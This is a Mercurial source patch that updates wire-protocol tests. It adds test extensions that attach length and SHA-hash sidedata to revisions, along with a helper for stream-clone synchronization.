\xa3GapibaseDapi/Dapis\xa1Pexp-http-v2-0003\xa5Hcommands\xacIbranchmap\xa2Dargs\xa0Kpermissions\x81DpullLcapabilities\xa2Dargs\xa0Kpermissions\x81DpullMchangesetdata\xa2Dargs\xa2Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84IbookmarksGparentsEphaseHrevisionIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullHfiledata\xa2Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x83HlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDpath\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullIfilesdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84NfirstchangesetHlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDdictIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullTrecommendedbatchsize\x19\xc3PEheads\xa2Dargs\xa1Jpubliconly\xa3Gdefault\xf4Hrequired\xf4DtypeDboolKpermissions\x81DpullEknown\xa2Dargs\xa1Enodes\xa3Gdefault\x80Hrequired\xf4DtypeDlistKpermissions\x81DpullHlistkeys\xa2Dargs\xa1Inamespace\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullFlookup\xa2Dargs\xa1Ckey\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullLmanifestdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x82GparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDtree\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullTrecommendedbatchsize\x1a\x00\x01\x86\xa0Gpushkey\xa2Dargs\xa4Ckey\xa2Hrequired\xf5DtypeEbytesInamespace\xa2Hrequired\xf5DtypeEbytesCnew\xa2Hrequired\xf5DtypeEbytesCold\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpushPrawstorefiledata\xa2Dargs\xa2Efiles\xa2Hrequired\xf5DtypeDlistJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDlistKpermissions\x81DpullQframingmediatypes\x81X&application/mercurial-exp-framing-0006Rpathfilterprefixes\xd9\x01\x02\x82Epath:Lrootfilesin:Nrawrepoformats\x83LgeneraldeltaHrevlogv1LsparserevlogHredirect\xa2Fhashes\x82Fsha256Dsha1Gtargets\x81\xa4DnameNtarget-bad-tlsHprotocolEhttpsKtlsversions\x82B42B39Duris\x81Thttps://example.com/Nv1capabilitiesY\x01\xe4batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (remote redirect target target-bad-tls requires unsupported TLS versions: 39, 42) sending capabilities command s> setsockopt(6, 1, 1) -> None (?) diff -r bc268ea9f984 -r f67b8946bb1b tests/test-wireproto-exchangev2-shallow.t --- a/tests/test-wireproto-exchangev2-shallow.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-wireproto-exchangev2-shallow.t Tue Apr 20 11:01:06 2021 -0400 @@ -176,6 +176,10 @@ updating the branch cache (sent 5 HTTP requests and * bytes; received * bytes in responses) (glob) +#if chg + $ hg --kill-chg-daemon + $ sleep 2 +#endif $ sqlite3 -line client-shallow-1/.hg/store/db.sqlite << EOF > SELECT id, path, revnum, node, p1rev, p2rev, linkrev, flags FROM filedata ORDER BY id ASC; > EOF @@ -347,6 +351,10 @@ updating the branch cache (sent 5 HTTP requests and * bytes; received * bytes in responses) (glob) +#if chg + $ hg --kill-chg-daemon + $ sleep 2 +#endif $ sqlite3 -line client-shallow-narrow-1/.hg/store/db.sqlite << EOF > SELECT id, path, revnum, node, p1rev, p2rev, linkrev, flags FROM filedata ORDER BY id ASC; > EOF diff -r bc268ea9f984 -r f67b8946bb1b tests/test-wireproto-exchangev2.t --- a/tests/test-wireproto-exchangev2.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-wireproto-exchangev2.t Tue Apr 20 11:01:06 2021 -0400 @@ -1099,7 +1099,8 @@ $ cat clone-output | grep "received frame" received frame(size=9; request=1; stream=2; streamflags=stream-begin; type=stream-settings; flags=eos) received frame(size=11; request=1; stream=2; streamflags=encoded; type=command-response; flags=continuation) - received frame(size=1275; request=1; stream=2; streamflags=encoded; type=command-response; flags=continuation) + received frame(size=1275; request=1; stream=2; streamflags=encoded; type=command-response; flags=continuation) (no-zstd !) + received frame(size=1283; request=1; stream=2; streamflags=encoded; type=command-response; flags=continuation) (zstd !) received frame(size=0; request=1; stream=2; streamflags=; type=command-response; flags=eos) received frame(size=9; request=1; stream=2; streamflags=stream-begin; type=stream-settings; flags=eos) received frame(size=11; request=1; stream=2; streamflags=encoded; type=command-response; flags=continuation) @@ -1196,7 +1197,8 @@ $ cat clone-output | grep "received frame" received frame(size=9; request=1; stream=2; streamflags=stream-begin; type=stream-settings; flags=eos) received frame(size=11; request=1; stream=2; streamflags=encoded; type=command-response; flags=continuation) - received frame(size=1275; request=1; stream=2; streamflags=encoded; type=command-response; flags=continuation) + received frame(size=1275; request=1; stream=2; streamflags=encoded; type=command-response; flags=continuation) (no-zstd !) + received frame(size=1283; request=1; stream=2; streamflags=encoded; type=command-response; flags=continuation) (zstd !) received frame(size=0; request=1; stream=2; streamflags=; type=command-response; flags=eos) received frame(size=9; request=1; stream=2; streamflags=stream-begin; type=stream-settings; flags=eos) received frame(size=11; request=1; stream=2; streamflags=encoded; type=command-response; flags=continuation) diff -r bc268ea9f984 -r f67b8946bb1b tests/testlib/common.sh --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/testlib/common.sh Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,7 @@ +mkcommit() { + name="$1" + shift + echo "$name" > "$name" + hg add "$name" + hg ci -m "$name" "$@" +} diff -r bc268ea9f984 -r f67b8946bb1b tests/testlib/ext-sidedata-2.py --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/testlib/ext-sidedata-2.py Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,50 @@ +# coding: utf8 +# ext-sidedata-2.py - small extension to test (differently) the sidedata logic +# +# Simulates a client for a complex sidedata exchange. +# +# Copyright 2021 Raphaël Gomès +# +# This software may be used and distributed according to the terms of the +# GNU General Public License version 2 or any later version. + +from __future__ import absolute_import + +import hashlib +import struct + +from mercurial.revlogutils import sidedata as sidedatamod + + +def compute_sidedata_1(repo, revlog, rev, sidedata, text=None): + sidedata = sidedata.copy() + if text is None: + text = revlog.revision(rev) + sidedata[sidedatamod.SD_TEST1] = struct.pack('>I', len(text)) + return sidedata + + +def compute_sidedata_2(repo, revlog, rev, sidedata, text=None): + sidedata = sidedata.copy() + if text is None: + text = revlog.revision(rev) + sha256 = hashlib.sha256(text).digest() + sidedata[sidedatamod.SD_TEST2] = struct.pack('>32s', sha256) + return sidedata + + +def reposetup(ui, repo): + # Sidedata keys happen to be the same as the categories, easier for testing. + for kind in (b'changelog', b'manifest', b'filelog'): + repo.register_sidedata_computer( + kind, + sidedatamod.SD_TEST1, + (sidedatamod.SD_TEST1,), + compute_sidedata_1, + ) + repo.register_sidedata_computer( + kind, + sidedatamod.SD_TEST2, + (sidedatamod.SD_TEST2,), + compute_sidedata_2, + ) diff -r bc268ea9f984 -r f67b8946bb1b tests/testlib/ext-sidedata-3.py --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/testlib/ext-sidedata-3.py Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,88 @@ +# coding: utf8 +# ext-sidedata-3.py - small extension to test (differently still) the sidedata +# logic +# +# Simulates a client for a complex sidedata exchange. +# +# Copyright 2021 Raphaël Gomès +# +# This software may be used and distributed according to the terms of the +# GNU General Public License version 2 or any later version. + +from __future__ import absolute_import + +import hashlib +import struct + +from mercurial import ( + extensions, + revlog, +) + +from mercurial.revlogutils import sidedata as sidedatamod + + +def compute_sidedata_1(repo, revlog, rev, sidedata, text=None): + sidedata = sidedata.copy() + if text is None: + text = revlog.revision(rev) + sidedata[sidedatamod.SD_TEST1] = struct.pack('>I', len(text)) + return sidedata + + +def compute_sidedata_2(repo, revlog, rev, sidedata, text=None): + sidedata = sidedata.copy() + if text is None: + text = revlog.revision(rev) + sha256 = hashlib.sha256(text).digest() + sidedata[sidedatamod.SD_TEST2] = struct.pack('>32s', sha256) + return sidedata + + +def compute_sidedata_3(repo, revlog, rev, sidedata, text=None): + sidedata = sidedata.copy() + if text is None: + text = revlog.revision(rev) + sha384 = hashlib.sha384(text).digest() + sidedata[sidedatamod.SD_TEST3] = struct.pack('>48s', sha384) + return sidedata + + +def wrapaddrevision( + orig, self, text, transaction, link, p1, p2, *args, **kwargs +): + if kwargs.get('sidedata') is None: + kwargs['sidedata'] = {} + sd = kwargs['sidedata'] + sd = compute_sidedata_1(None, self, None, sd, text=text) + kwargs['sidedata'] = compute_sidedata_2(None, self, None, sd, text=text) + return orig(self, text, transaction, link, p1, p2, *args, **kwargs) + + +def extsetup(ui): + extensions.wrapfunction(revlog.revlog, 'addrevision', wrapaddrevision) + + +def reposetup(ui, repo): + # Sidedata keys happen to be the same as the categories, easier for testing. + for kind in (b'changelog', b'manifest', b'filelog'): + repo.register_sidedata_computer( + kind, + sidedatamod.SD_TEST1, + (sidedatamod.SD_TEST1,), + compute_sidedata_1, + ) + repo.register_sidedata_computer( + kind, + sidedatamod.SD_TEST2, + (sidedatamod.SD_TEST2,), + compute_sidedata_2, + ) + repo.register_sidedata_computer( + kind, + sidedatamod.SD_TEST3, + (sidedatamod.SD_TEST3,), + compute_sidedata_3, + ) + repo.register_wanted_sidedata(sidedatamod.SD_TEST1) + repo.register_wanted_sidedata(sidedatamod.SD_TEST2) diff -r bc268ea9f984 -r f67b8946bb1b tests/testlib/ext-sidedata-4.py --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/testlib/ext-sidedata-4.py Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,19 @@ +# coding: utf8 +# ext-sidedata-4.py - small extension to test (differently still) the sidedata +# logic +# +# Simulates a server for a complex sidedata exchange. +# +# Copyright 2021 Raphaël Gomès +# +# This software may be used and distributed according to the terms of the +# GNU General Public License version 2 or any later version. + +from __future__ import absolute_import + +from mercurial.revlogutils import sidedata + + +def reposetup(ui, repo): + repo.register_wanted_sidedata(sidedata.SD_TEST2) + repo.register_wanted_sidedata(sidedata.SD_TEST3) diff -r bc268ea9f984 -r f67b8946bb1b tests/testlib/ext-sidedata-5.py --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/testlib/ext-sidedata-5.py Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,81 @@ +# coding: utf8 +# ext-sidedata-5.py - small extension to test (differently still) the sidedata +# logic +# +# Simulates a server for a simple sidedata exchange. +# +# Copyright 2021 Raphaël Gomès +# +# This software may be used and distributed according to the terms of the +# GNU General Public License version 2 or any later version. + +from __future__ import absolute_import + +import hashlib +import struct + +from mercurial import ( + extensions, + revlog, +) + + +from mercurial.revlogutils import sidedata as sidedatamod + + +def compute_sidedata_1(repo, revlog, rev, sidedata, text=None): + sidedata = sidedata.copy() + if text is None: + text = revlog.revision(rev) + sidedata[sidedatamod.SD_TEST1] = struct.pack('>I', len(text)) + return sidedata + + +def compute_sidedata_2(repo, revlog, rev, sidedata, text=None): + sidedata = sidedata.copy() + if text is None: + text = revlog.revision(rev) + sha256 = hashlib.sha256(text).digest() + sidedata[sidedatamod.SD_TEST2] = struct.pack('>32s', sha256) + return sidedata + + +def reposetup(ui, repo): + # Sidedata keys happen to be the same as the categories, easier for testing. + for kind in (b'changelog', b'manifest', b'filelog'): + repo.register_sidedata_computer( + kind, + sidedatamod.SD_TEST1, + (sidedatamod.SD_TEST1,), + compute_sidedata_1, + ) + repo.register_sidedata_computer( + kind, + sidedatamod.SD_TEST2, + (sidedatamod.SD_TEST2,), + compute_sidedata_2, + ) + + # We don't register sidedata computers because we don't care within these + # tests + repo.register_wanted_sidedata(sidedatamod.SD_TEST1) + repo.register_wanted_sidedata(sidedatamod.SD_TEST2) + + +def wrapaddrevision( + orig, self, text, transaction, link, p1, p2, *args, **kwargs +): + if kwargs.get('sidedata') is None: + kwargs['sidedata'] = {} + sd = kwargs['sidedata'] + ## let's store some arbitrary data just for testing + # text length + sd[sidedatamod.SD_TEST1] = struct.pack('>I', len(text)) + # and sha2 hashes + sha256 = hashlib.sha256(text).digest() + sd[sidedatamod.SD_TEST2] = struct.pack('>32s', sha256) + return orig(self, text, transaction, link, p1, p2, *args, **kwargs) + + +def extsetup(ui): + extensions.wrapfunction(revlog.revlog, 'addrevision', wrapaddrevision) diff -r bc268ea9f984 -r f67b8946bb1b tests/testlib/ext-sidedata.py --- a/tests/testlib/ext-sidedata.py Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/testlib/ext-sidedata.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # ext-sidedata.py - small extension to test the sidedata logic # -# Copyright 2019 Pierre-Yves David # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -40,19 +40,21 @@ return orig(self, text, transaction, link, p1, p2, *args, **kwargs) -def wraprevision(orig, self, nodeorrev, *args, **kwargs): - text = orig(self, nodeorrev, *args, **kwargs) +def wrap_revisiondata(orig, self, nodeorrev, *args, **kwargs): + text, sd = orig(self, nodeorrev, *args, **kwargs) if getattr(self, 'sidedatanocheck', False): - return text + return text, sd + if self.version & 0xFFFF != 2: + return text, sd if nodeorrev != nullrev and nodeorrev != nullid: - sd = self.sidedata(nodeorrev) - if len(text) != struct.unpack('>I', sd[sidedata.SD_TEST1])[0]: + cat1 = sd.get(sidedata.SD_TEST1) + if cat1 is not None and len(text) != struct.unpack('>I', cat1)[0]: raise RuntimeError('text size mismatch') - expected = sd[sidedata.SD_TEST2] + expected = sd.get(sidedata.SD_TEST2) got = hashlib.sha256(text).digest() - if got != expected: + if expected is not None and got != expected: raise RuntimeError('sha256 mismatch') - return text + return text, sd def wrapgetsidedatacompanion(orig, srcrepo, dstrepo): @@ -81,7 +83,14 @@ def extsetup(ui): extensions.wrapfunction(revlog.revlog, 'addrevision', wrapaddrevision) - extensions.wrapfunction(revlog.revlog, 'revision', wraprevision) + extensions.wrapfunction(revlog.revlog, '_revisiondata', wrap_revisiondata) extensions.wrapfunction( upgrade_engine, 'getsidedatacompanion', wrapgetsidedatacompanion ) + + +def reposetup(ui, repo): + # We don't register sidedata computers because we don't care within these + # tests + repo.register_wanted_sidedata(sidedata.SD_TEST1) + repo.register_wanted_sidedata(sidedata.SD_TEST2) diff -r bc268ea9f984 -r f67b8946bb1b tests/testlib/ext-stream-clone-steps.py --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/testlib/ext-stream-clone-steps.py Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,31 @@ +from __future__ import absolute_import + +from mercurial import ( + encoding, + extensions, + streamclone, + testing, +) + + +WALKED_FILE_1 = encoding.environ[b'HG_TEST_STREAM_WALKED_FILE_1'] +WALKED_FILE_2 = encoding.environ[b'HG_TEST_STREAM_WALKED_FILE_2'] + + +def _test_sync_point_walk_1(orig, repo): + testing.write_file(WALKED_FILE_1) + + +def _test_sync_point_walk_2(orig, repo): + assert repo._currentlock(repo._lockref) is None + testing.wait_file(WALKED_FILE_2) + + +def uisetup(ui): + extensions.wrapfunction( + streamclone, '_test_sync_point_walk_1', _test_sync_point_walk_1 + ) + + extensions.wrapfunction( + streamclone, '_test_sync_point_walk_2', _test_sync_point_walk_2 + )